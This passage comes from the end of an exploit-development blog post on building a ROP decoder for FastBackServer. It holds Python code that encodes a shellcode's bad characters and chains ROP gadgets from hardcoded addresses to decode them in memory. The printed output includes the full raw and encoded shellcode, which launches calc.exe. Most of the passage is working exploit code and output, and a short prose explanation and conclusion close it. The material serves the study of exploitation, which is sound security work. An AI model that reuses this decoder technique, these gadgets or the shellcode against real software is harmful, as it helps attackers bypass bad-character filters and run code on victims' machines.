    <span class="n">bad_index</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">bad_index</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    <span class="k">return</span> <span class="n">encoded_shellcode_str</span><span class="p">,</span> <span class="n">bad_index</span>

<span class="k">def</span> <span class="nf">create_gadget</span><span class="p">(</span><span class="n">decode_value</span><span class="p">,</span> <span class="n">result</span> <span class="p">,</span> <span class="n">bit_width</span><span class="o">=</span><span class="mi">32</span><span class="p">):</span>
    <span class="n">hex_result</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
    <span class="n">mask</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span> <span class="o">**</span> <span class="n">bit_width</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
    <span class="n">negative_hex_result</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">((</span><span class="n">result</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">mask</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Result of subtraction: </span><span class="si">{</span><span class="n">result</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Hexadecimal representation: </span><span class="si">{</span><span class="n">hex_result</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Negative hexadecimal representation: </span><span class="si">{</span><span class="n">negative_hex_result</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="n">ROPDecoder</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span>  <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span>  <span class="c1"># dummy value for pop esi
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span>  <span class="c1"># pop ecx ; ret  ;
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">negative_hex_result</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span>  <span class="c1"># offset to bad char at index
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span>  <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span>  <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span>  <span class="c1"># dummy value for pop ebx
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span>  <span class="c1"># pop eax ; ret  ;
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">decode_value</span><span class="p">)</span>  <span class="c1"># decoding value
</span>    <span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span>  <span class="c1"># add byte [esi+0x3B], ah ;
</span>    <span class="k">return</span> <span class="n">ROPDecoder</span>

<span class="k">def</span> <span class="nf">subtract_consecutive_elements</span><span class="p">(</span><span class="n">my_list</span><span class="p">):</span>
    <span class="n">subtraction_results</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="n">my_list</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
        <span class="n">subtraction_results</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Offset result from </span><span class="si">{</span><span class="n">my_list</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s"> to </span><span class="si">{</span><span class="n">my_list</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">result</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">subtraction_results</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"shellcode.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
    <span class="n">my_shellcode</span> <span class="o">=</span> <span class="nb">file</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Shellcode:"</span><span class="p">,</span> <span class="n">my_shellcode</span><span class="p">)</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROPDecoder</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span>
<span class="n">badchars</span><span class="o">=</span> <span class="p">[</span><span class="s">"00"</span><span class="p">,</span> <span class="s">"09"</span><span class="p">,</span> <span class="s">"0a"</span><span class="p">,</span> <span class="s">"0b"</span><span class="p">,</span> <span class="s">"0c"</span><span class="p">,</span> <span class="s">"0d"</span><span class="p">,</span> <span class="s">"20"</span><span class="p">]</span>
<span class="n">encoded_shellcode</span><span class="p">,</span> <span class="n">bad_index</span> <span class="o">=</span> <span class="n">encode_shellcode</span><span class="p">(</span><span class="n">my_shellcode</span><span class="p">,</span> <span class="n">badchars</span><span class="p">,</span> <span class="mh">0xfb</span><span class="p">)</span>
<span class="n">offsets_to_decode</span> <span class="o">=</span> <span class="n">subtract_consecutive_elements</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="nb">reversed</span><span class="p">(</span><span class="n">bad_index</span><span class="p">)))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">offsets_to_decode</span><span class="p">:</span>
    <span class="n">rop</span> <span class="o">+=</span> <span class="n">create_gadget</span><span class="p">(</span><span class="mh">0x05050505</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</code></pre></div></div>

<ul>
  <li>Output:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Shellcode: \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00
[!] Bad char \x00 at index 4 Encoded to 0xfb
[!] Bad char \x00 at index 5 Encoded to 0xfb
[!] Bad char \x00 at index 6 Encoded to 0xfb
[!] Bad char \x0c at index 18 Encoded to 0x07
[!] Bad char \x20 at index 37 Encoded to 0x1b
[!] Bad char \x0d at index 40 Encoded to 0x08
[!] Bad char \x20 at index 64 Encoded to 0x1b
[!] Bad char \x0d at index 83 Encoded to 0x08
[!] Bad char \x0c at index 106 Encoded to 0x07
[!] Bad char \x00 at index 143 Encoded to 0xfb
[!] Bad char \x00 at index 144 Encoded to 0xfb
[!] Bad char \x00 at index 145 Encoded to 0xfb
[!] Bad char \x0a at index 169 Encoded to 0x05
[!] Bad char \x00 at index 181 Encoded to 0xfb
[!] Bad char \x00 at index 193 Encoded to 0xfb
[+] Encoded Shellcode: shellcode = b"\xfc\xe8\x82\xfb\xfb\xfb\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x07\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x1b\xc1\xcf\x08\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x1b\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x08\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x07\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\xfb\xfb\xfb\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x05\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\xfb\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\xfb"
Offset result from 181 to 169: -12
Offset result from 169 to 145: -24
Offset result from 145 to 144: -1
Offset result from 144 to 143: -1
Offset result from 143 to 106: -37
Offset result from 106 to 83: -23
Offset result from 83 to 64: -19
Offset result from 64 to 40: -24
Offset result from 40 to 37: -3
Offset result from 37 to 18: -19
Offset result from 18 to 6: -12
Offset result from 6 to 5: -1
Offset result from 5 to 4: -1
Result of subtraction: -12
Hexadecimal representation: -0xc
Negative hexadecimal representation: 0xfffffff4
Result of subtraction: -24
Hexadecimal representation: -0x18
Negative hexadecimal representation: 0xffffffe8
Result of subtraction: -1
Hexadecimal representation: -0x1
Negative hexadecimal representation: 0xffffffff
Result of subtraction: -1
Hexadecimal representation: -0x1
Negative hexadecimal representation: 0xffffffff
Result of subtraction: -37
Hexadecimal representation: -0x25
Negative hexadecimal representation: 0xffffffdb
Result of subtraction: -23
Hexadecimal representation: -0x17
Negative hexadecimal representation: 0xffffffe9
Result of subtraction: -19
Hexadecimal representation: -0x13
Negative hexadecimal representation: 0xffffffed
Result of subtraction: -24
Hexadecimal representation: -0x18
Negative hexadecimal representation: 0xffffffe8
Result of subtraction: -3
Hexadecimal representation: -0x3
Negative hexadecimal representation: 0xfffffffd
Result of subtraction: -19
Hexadecimal representation: -0x13
Negative hexadecimal representation: 0xffffffed
Result of subtraction: -12
Hexadecimal representation: -0xc
Negative hexadecimal representation: 0xfffffff4
Result of subtraction: -1
Hexadecimal representation: -0x1
Negative hexadecimal representation: 0xffffffff
Result of subtraction: -1
Hexadecimal representation: -0x1
Negative hexadecimal representation: 0xffffffff
</code></pre></div></div>

<p>Here when we encode the shellcode, We will also save the indexes in array named <code class="language-plaintext highlighter-rouge">bad_index</code>, Then wwe will return this array, After that we will pass it to <code class="language-plaintext highlighter-rouge">subtract_consecutive_elements</code> which will calculate the differances from index to another and return the values in an array, Following by that we will take the reults and go through it element by element, Then take the element to <code class="language-plaintext highlighter-rouge">create_gadget</code> function, Which will fill the <code class="language-plaintext highlighter-rouge">ROPDecoder</code> gadgets with the needed value by converting the offsets of the indexes to the badchars into <code class="language-plaintext highlighter-rouge">32-bit</code> format. Finally, it will return for us each decoding gadget and add it to our <code class="language-plaintext highlighter-rouge">ROPGadget</code>.</p>

<h1 id="conclusion">Conclusion</h1>

<p>Now, You can create your own <code class="language-plaintext highlighter-rouge">ROPDecoder</code> easily as you understood it in depth, Maybe next time we talk about how to use different gadgets such as: <code class="language-plaintext highlighter-rouge">ror</code>, <code class="language-plaintext highlighter-rouge">or</code> &amp; etc…., Finally, You can use other gadgets with-in <code class="language-plaintext highlighter-rouge">FastBackServer</code>, But i used a complex one, Just to cover most of the possiable situations we could face while doing creating our <code class="language-plaintext highlighter-rouge">ROPDecoder</code>. In some cases if the register that has the decoding value, Is not need to be manupilated Therefor, We can cancel poping the decode value into it each time we decode as it’s the same value.</p>]]></content><author><name>Zeyad Azima</name></author><category term="Exploit Development" /><category term="Exploit Development" /><category term="ROP" /><category term="ROPGadget" /><category term="Exploitation" /><category term="zero day" /><category term="0day" /><category term="cve" /><summary type="html"><![CDATA[An in-depth blog on how to create a ROPDecoder.]]></summary></entry></feed>